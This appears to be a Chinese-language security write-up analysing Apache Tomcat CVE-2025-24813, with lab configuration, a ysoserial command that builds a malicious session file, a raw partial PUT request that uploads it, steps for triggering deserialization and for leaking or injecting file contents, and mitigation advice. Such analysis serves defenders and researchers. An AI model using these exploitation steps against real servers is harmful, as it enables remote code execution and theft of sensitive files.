关于Apache Tomcat CVE-2025-24813的全部
字数 1872 2025-08-29 22:41:32
Apache Tomcat CVE-2025-24813 漏洞分析与利用指南
漏洞概述
CVE-2025-24813 是 Apache Tomcat 中发现的一个严重漏洞,于 2025 年初被发现并在三月由 Tomcat 官方公开披露。该漏洞主要影响 Default Servlet 的部分 PUT 功能实现,可能导致远程代码执行、敏感信息泄露或恶意文件内容注入。
漏洞影响
- 远程代码执行:在特定配置下可导致 RCE
- 信息泄露:可能泄露服务器上的敏感文件
- 文件内容注入:可能向上传的文件中注入恶意内容
环境准备
测试环境配置
- Tomcat 版本:9.0.98
- 临时目录:
C:\Users\swordlight\.SmartTomcat\tomcat9\tomcat9\work\Catalina\localhost\tomcat9 - web.xml 配置:设置 Default Servlet 的 readonly 为 false
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
- context.xml 配置:开启 session 持久化
<Manager className="org.apache.catalina.session.PersistentManager"
debug="0"
saveOnRestart="false"
maxActiveSession="-1"
minIdleSwap="-1"
maxIdleSwap="-1"
maxIdleBackup="-1">
<Store className="org.apache.catalina.session.FileStore" />
</Manager>
- 添加依赖:commons-collections 3.1(用于反序列化利用)
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
漏洞利用 - 反序列化命令执行
利用步骤
- 生成恶意 session 文件:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 "calc" > /tmp/test.session
- 上传 session 文件:
PUT /tomcat9/test/session HTTP/1.1
Host: localhost:8084
Accept-Encoding: gzip, deflate, br, zstd
Content-Range: bytes 0-1276/1277
{{file(C:\Users\swordlight\Downloads\test.session)}}
- 触发反序列化:
- 发送带有
.testcookie 的请求 - 或者等待 Tomcat 自动加载 session 文件(后台异步进程)
- 发送带有
关键点分析
-
临时文件命名:
- DefaultServlet 的
executePartialPut方法会基于用户提供的文件名命名临时文件(格式:.+原始文件名) - 文件后缀名可控
- DefaultServlet 的
-
Session 文件加载:
- FileStore 的 cookie 名由客户端请求的 cookie 决定,可包含特殊字符(如
.) - 开启 session 持久化时,默认将 session 文件存储在
javax.servlet.context.tempdir指向的目录
- FileStore 的 cookie 名由客户端请求的 cookie 决定,可包含特殊字符(如
-
异步加载机制:
ManagerBase类会启动异步进程调用processExpires()方法定时轮询.session文件- 触发请求非必须,但可加速反序列化过程
漏洞利用 - 敏感信息泄露/恶意文件内容注入
利用条件
- 默认 Servlet 允许写入(默认关闭)
- 支持 Partial PUT(默认启用)
- 安全敏感上传目录是公共上传目录的子目录
- 攻击者知道敏感文件名
- 敏感文件是通过 partial PUT 上传的
利用步骤
-
构造敏感文件场景:
- 在 Tomcat 根目录下创建
conf文件夹存放敏感文件 - 上传包含密码的
sensitive.txt文件
- 在 Tomcat 根目录下创建
-
复制敏感文件内容:
- 发送 PUT 请求上传空文件
conf.sensitive.txt - 内容范围需与空文件一致
- 发送 PUT 请求上传空文件
-
读取敏感内容:
- GET 请求
/conf.sensitive.txt即可获取敏感内容
- GET 请求
恶意文件内容注入
通过多次对 /conf/sensitive.txt 进行 Partial PUT,中间穿插一次带有恶意内容的对 /conf.sensitive.txt 的 Partial PUT,可实现向 /conf/sensitive.txt 注入恶意内容。
漏洞分析
反序列化命令执行
-
执行流程:
- 用户上传文件 → 创建临时文件(
.+原始文件名) - 临时文件与 session 文件存储在同一目录
- 通过 cookie 触发或自动加载 session 文件
- 用户上传文件 → 创建临时文件(
-
调用栈:
processExpires() load() readSession() readSessionData() deserialize()
敏感信息泄露/文件注入
-
核心机制:
- 对
/test/file和/test.file的 Partial PUT 请求会生成相同的临时文件名 - 临时文件不会被自动删除(除非 Tomcat 重启)
- 对
-
利用原理:
- 上传敏感文件后,尝试 Partial PUT 空文件
- 最终上传的文件会包含敏感文件内容
总结
CVE-2025-24813 是一个多面性的漏洞,主要利用点包括:
-
远程代码执行:
- 需要 Default Servlet 写入权限和 session 持久化
- 利用文件命名和加载机制实现反序列化
-
信息泄露/文件注入:
- 利用临时文件命名规则和未清理机制
- 需要特定目录结构和文件命名知识
防护建议:
- 升级到修复版本
- 保持 Default Servlet 的 readonly 为 true
- 谨慎配置 session 持久化
- 限制上传目录权限